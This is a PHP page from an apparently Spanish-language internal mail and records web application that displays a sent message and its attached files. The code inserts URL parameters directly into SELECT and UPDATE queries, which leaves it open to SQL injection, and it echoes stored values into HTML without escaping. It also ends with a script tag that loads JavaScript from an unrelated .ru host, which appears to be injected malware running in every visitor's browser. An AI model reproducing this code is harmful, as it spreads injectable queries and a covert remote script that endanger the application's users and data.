File: /home/asjudine/www/acorreos/Mostrar_Correos.php
<?PHP
$Dia = date("d");
$Mes = date("m");
$Ano = date("Y");
$hora = date(h)+1;
$min = date(i);
$seg = date(s);
$jorn = date(a);
$Hora = $hora.":".$min.":".$seg." ".$jorn;
global $dbi;
require_once("../Conectarse.php");
//$sql = "select Id, numradica, Identificacion, Codigo_Dep_Envia, Codigo_Dep_Recibe, Referencia, Nombre_Completo, Cargo, Dia_Envio, Mes_Envio, Ano_Envio, Hora_Envio, Numero_Planilla, Dia_Recibe, Mes_Recibe,Ano_Recibe, Hora_Recibe, Asunto, Mensaje, Funcionario_Expide, Notificar from correo_interno where Id = $Id";
$Lista = mysql_query('SELECT Id, numradica, Identificacion, Codigo_Dep_Envia, Codigo_Dep_Recibe, Referencia, Nombre_Completo, Cargo, Dia_Envio, Mes_Envio, Ano_Envio, Hora_Envio, Numero_Planilla, Dia_Recibe, Mes_Recibe,Ano_Recibe, Hora_Recibe, Asunto, Mensaje, Funcionario_Expide, Notificar FROM correo_interno WHERE Id = "' . $_GET["Id"] . '" ');
if (!$Lista) {
die('Invalid query: ' . mysql_error());
}
if($Lista)
{
if (mysql_num_rows($Lista)==0)
{
echo "<script>alert('Número de Identificación no encontrado');</script>";
exit;
}
list($Id, $numradica, $Identificacion, $Codigo_Dep_Envia, $Codigo_Dep_Recibe, $Referencia, $Nombre_Completo, $Cargo, $Dia_Envio, $Mes_Envio, $Ano_Envio, $Hora_Envio, $Numero_Planilla, $Dia_Recibe, $Mes_Recibe, $Ano_Recibe, $Hora_Recibe, $Asunto, $Mensaje, $Funcionario_Expide, $Notificar) = mysql_fetch_row($Lista);
$ElID = $_GET["Id"];
$mssql = mysql_query("UPDATE correo_interno set Notificar = 'S' WHERE Id = '" . $_GET["Id"] . "' and numradica = '" . $_GET["num"] . "' ");
if (!$mssql) {
die('Invalid query primer UPDATE: ' . mysql_error());
}
$depenvia = mysql_query('SELECT Nombre FROM Dependencias WHERE Codigo = "' ."$Codigo_Dep_Envia". '" ');
if (!$depenvia) {
die('Invalid query 1: ' . mysql_error());
}
list($nde) = mysql_fetch_row($depenvia);
$deprecibe = mysql_query('SELECT Nombre FROM Dependencias WHERE Codigo = "' ."$Codigo_Dep_Recibe". '" ');
if (!$deprecibe) {
die('Invalid query 12: ' . mysql_error());
}
list($ndr) = mysql_fetch_row($deprecibe);
?>
<html>
<head>
<title>Documento sin título</title>
<meta http-equiv="X-UA-Compatible" content="IE=8; IE=9; IE=edge" />
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
*{margin: 0;padding: 0;}
body{background-color:#EAEAEA;font-family:Geneva, Arial, Helvetica, sans-serif;}
header {background-color: #B7271F; text-align: center;}
.titulo{width: 100%;text-align: center;background-color: #dbd8c9;color: #b20606;padding: 6px 0;font-size: 18px;}
table{margin: 0 auto; border: 8px solid #bebebe; text-align: center;}
.divirmenu{text-align: center;}
.irmenu{width: 200px;background-color: #00135F;color: #fff; padding: 4px;border-radius: 6px;}
.irmenu:hover{background-color: #67a0d9; color: #000;}
.fecha{background-color: #d6e08b; padding: 2px;color: #000;font-size: 15px; text-align: center;}
/*.td{background-color: #e5e5e5; padding: 1px 10px;color: #00135F;font-size: 14px;font-weight: 600; text-align: center;}*/
.tdizq{background-color: #EEE; padding: 1px 10px;color: #00135F;font-size: 13px;font-weight: 600; text-align: left;}
.tdcen{background-color: #EEE; padding: 1px 10px;color: #00135F;font-size: 13px;font-weight: 600; text-align: center;}
.tdder{background-color: #EEE; padding: 1px 10px;color: #00135F;font-size: 13px;font-weight: 600; text-align: right;}
.exp{color:#8A0000; font-size:10px;}
.boton1{width:150px;background-color: #ffffff;color: #000;padding: 2px;border:2px solid #580000;}
.boton1:hover{background-color: #6f0000;color: #fff;cursor: pointer;}
input[type=text]{border-radius: 5px; padding: 3px;background-color: #fffde8;}
.tdtitulo{background-color: #e3dec0; color: #b20606; padding: 2px; text-align: center; font-size: 12px; font-weight: 900}
.tdfull{background-color: #fff; color: #000; padding: 1px; text-align: center; font-size: 12px;}
.botonnew{width: 90px; background-color: #e3dec0;color: #b20606;padding: 1px;border-radius:5px;}
.botonnew:hover{width: 90px; background-color: #cbbd6a;color: #000;padding: 1px;border-radius:5px;}
</style>
<script languaje="JavaScript">
function Mostrar_Fecha()
{
var mydate=new Date()
var year=mydate.getYear()
if(year < 1000)
year+=1900
var day=mydate.getDay()
var month=mydate.getMonth()
var daym=mydate.getDate()
if (daym < 10)
daym="0"+daym
var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
document.write("<b><font face='Arial, Helvetica, sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}
</script>
</head>
<body>
<header>
<img src="../ELEMENTS/bannerInterasjudinet.png" alt="" width=" 700" height="70">
</header>
<h3 class="titulo">DATOS DEL MENSAJE ENVIADO</h3>
<form method="post" name="formulario" action="Mostrar_Documento.php">
<table width="632" border="2" align="center" cellpadding="2" cellspacing="2">
<tr>
<td class="fecha" colspan="3">
<script languaje="JavaScript">Mostrar_Fecha()</script>
</td>
</tr>
<tr>
<td class="tdder">Número de radicación: </td>
<td class="tdizq"><input name="numradica" type="text" size="5" maxlength="5" value="<?php echo $numradica ?>" readonly="">
<input name="Contador" type="hidden" size="5" maxlength="5" value="<?php echo $id ?>" readonly=""></td>
</tr>
<tr>
<td class="tdder"><div align="right"><span class="Estilo7">Referencia<span class="Estilo13">:</span></span></div></td>
<td class="tdizq"><input name="Referencia" type="text" value="<?php echo $Referencia ?>" size="10" maxlength="10" readonly=""></td>
</tr>
<tr>
<td class="tdder">Dependencia que Envía: </td>
<td class="tdizq"><input name="Nombre_Dep_Envia" type="text" value="<?php echo $nde; ?>" size="40" maxlength="40" readonly=""></td>
</tr>
<tr>
<td class="tdder">Funcionario que recibe: </td>
<td class="tdizq"><input name="Nombre_Completo" type="text" value="<?php echo $Nombre_Completo; ?>" size="50" maxlength="50" readonly=""></td>
</tr>
<tr>
<td class="tdder">Cargo:</td>
<td class="tdizq"><input name="Cargo" type="text" id="Cargo" value="<?php echo $Cargo; ?>" size="40" maxlength="40" readonly=""></td>
</tr>
<tr>
<td class="tdder">Dependencia: </td>
<td class="tdizq"><input name="Nombre_Dep_Recibe" type="text" value="<?php echo $ndr; ?>" size="40" maxlength="40" readonly=""></td>
</tr>
<tr>
<td class="tdder">Fecha de Envio de la Correspondencia: </span></div></td>
<td class="tdizq"><input name="Dia_Envio" type="text" size="2" maxlength="2" value="<?php echo $Dia_Envio; ?>" readonly="">
<input name="Mes_Envio" type="text" size="2" maxlength="2" value="<?php echo $Mes_Envio; ?>" readonly="">
<input name="Ano_Envio" type="text" value="<?php echo $Ano_Envio; ?>" size="4" maxlength="4" readonly=""></td>
</tr>
<tr>
<td class="tdder">Hora de Envío: </td>
<td class="tdizq"><input name="Hora_Envio" value="<?php echo $Hora_Envio; ?>" type="text" size="11" maxlength="11" readonly=""></td>
</tr>
<tr>
<td class="tdder">Asunto:</td>
<td class="tdizq"><input name="Asunto" value="<?php echo $Asunto; ?>" type="text" size="50" maxlength="50" readonly=""></td>
</tr>
<tr>
<td class="tdcen" colspan="2">Visualización del contenido enviado: </td>
</tr>
<tr>
<td class="tdcen" colspan="2">
<?php
echo "<textarea name='Contenido' cols='70' rows='4' title='RESPUESTA ENVIADA' readonly>\n";
echo $Mensaje;
echo "</textarea>";
?>
</td>
</tr>
<tr>
<td class="tdder">Funcionario que firma el documento:</td>
<td class="tdizq"><input name="Funcionario_Expide" type="text" size="50" maxlength="50" value="<?php echo $Funcionario_Expide; ?>" readonly=""></td>
</tr>
<tr>
<td colspan="2">
<?php
global $dbi;
$fecha = ($_POST[Dia_Envio]."-".$_POST[Mes_Envio]."-".$_POST[Ano_Envio]);
//$fecha = ($_POST[Dia_Envio]."-".$_POST[Mes_Envio]."-".$_POST[Ano_Envio]);
$LaIdentificacion = $_GET[num];
$ElID =$_GET[Id];
//$query_Recordset1 = "SELECT * FROM archivos where Identificacion = '$Identificacion' and registro_interno = '$id'";
//$Recordset1 = mysql_query($query_Recordset1, $dbi) or die(mysql_error());
if($LaIdentificacion <> '') {
$Lista = mysql_query('SELECT * FROM correo_interno WHERE Id = "' . $_GET["Id"] . '" ');
if (!$Lista) {
die('Invalid query: ' . mysql_error());
}
}
while($Filas0 = mysql_fetch_row($Lista)){
$horadeenvio = $Filas0[11];
}
//-----------------------------------archivosinternos-------------------------
if($LaIdentificacion <> '') {
$Recordset1 = mysql_query('SELECT * FROM archivosinternos WHERE correointerno = "' . $_GET["Id"] . '" ');
}
if (!$Recordset1) {
die('Invalid query: ' . mysql_error());
}
printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
<tr>
<th colspan='5' scope='col'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
</tr>
<tr >
<th class='tdtitulo' scope='col'>ID</th>
<th class='tdtitulo' scope='col'>NOMBRE</th>
<th class='tdtitulo' scope='col'>FECHA ENVIO</th>
<th class='tdtitulo' scope='col'>HORA ENVIO</th>
<th class='tdtitulo' scope='col'>TIPO DE ARCHIVO</th>
</tr>");
while($Filas = mysql_fetch_row($Recordset1))
{
echo "<tr>
<td class='tdfull'><a href='descargar_archivosinternos.php?Id=".$Filas[0]."' class='Estilo5 Estilo6'>Descargar</a></td>
<td class='tdfull'>".$Filas[2]."</td>
<td class='tdfull'>".$Filas[3]."</td>
<td class='tdfull'>".$horadeenvio."</td>
<td class='tdfull'>".$Filas[6]."</td>
</tr>";
}
echo "</table>";
mysql_free_result($Recordset1);
}
else
{
echo "<script>alert('Número de radicación no encontrado');<script>";
}
?> </td>
</tr>
<tr>
<td colspan="2">
<input name="button" type="button" class="irmenu" onClick="window.location.href='../menu_admin.php'" value="VOLVER AL MENU">
<input name="button2" type="button" class="boton1" onClick="javascript:window.close()" value="Cerrar Ventana">
<!--<input name="button2" type="button" class="boton1" onClick="javascript:window.close()" value="Cerrar Ventana">-->
<input name="button" type="button" id="button" class="boton1" onclick=<?php echo "window.location.href='Mostrar_Texto.php?Contador=$id'"; ?> value="Visualizar mensajes">
</span></div>
</td>
</tr>
</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>